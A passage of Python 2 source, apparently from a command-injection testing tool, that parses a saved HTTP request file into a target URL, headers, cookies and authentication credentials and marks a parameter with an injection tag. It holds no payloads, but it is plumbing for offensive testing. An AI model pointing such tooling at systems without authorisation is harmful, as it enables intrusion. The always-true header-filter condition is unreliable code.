open(request_file, "r") words_dict = {} for word in request.read().strip().splitlines(): if word[:4].strip() == "GET" or word[:4].strip() == "POST": words_dict[word[:4].strip()] = words_dict.get( word[:4].strip(), 0) + 1 # Check if same header appears more than once. single_request = True if len(words_dict.keys()) > 1: single_request = multi_requests() for key in words_dict.keys(): if words_dict[key] > 1: single_request = multi_requests() # Check for GET / POST HTTP Header for http_header in ["GET", "POST"]: request = open(request_file, "r") request = request.read() if "\\n" in request: request = request.replace("\\n", "\n") request_url = re.findall(r"" + http_header + " (.*) ", request) if request_url: if not single_request: request_url = request_url[0] if http_header == "POST": # Check for POST Data. result = [item for item in request.splitlines() if item] menu.options.data = result[len(result) - 1] else: try: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace( "=", "=" + settings.INJECT_TAG, 1) except IndexError: invalid_data(request_file, single_request) break # Check if invalid data if not request_url: invalid_data(request_file, single_request) else: request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" prefix = "http://" for line in request.splitlines(): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join( [str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header elif re.findall(r"User-Agent: " + "(.*)", line): menu.options.agent = "".join([ str(i) for i in re.findall(r"User-Agent: " + "(.*)", line) ]) # Cookie Header elif re.findall(r"Cookie: " + "(.*)", line): menu.options.cookie = "".join( [str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header elif re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join( [str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: prefix = "https://" elif re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([ str(i) for i in re.findall(r"Authorization: " + "(.*)", line) ]).split() menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type == "basic": menu.options.auth_cred = base64.b64decode(auth_provided[1]) elif menu.options.auth_type == "digest": if not menu.options.auth_cred: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " print settings.print_critical_msg(err_msg) sys.exit(0) # Add extra headers else: match = re.findall(r"(.*): (.*)", line) match = "".join([str(i) for i in match]).replace("', '", ":") match = match.replace("('", "") match = match.replace("')", "\\n") # Ignore some header. if "Content-Length" or "Accept-Encoding" in match: extra_headers = extra_headers else: extra_headers = extra_headers + match # Extra headers menu.options.headers = extra_headers # Target URL if not menu.options.host: invalid_data(request_file, single_request) else: menu.options.url = prefix + menu.options.host + request_url if single_request: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() if menu.options.logfile: info_msg = "Parsed target from '" + os.path.split( request_file)[1] + "' for tests :" print settings.print_info_msg(info_msg) print settings.SUB_CONTENT_SIGN + http_header + " " + prefix + menu.options.host + request_url if http_header == "POST": print settings.SUB_CONTENT_SIGN + "Data: " + menu.options.data #eof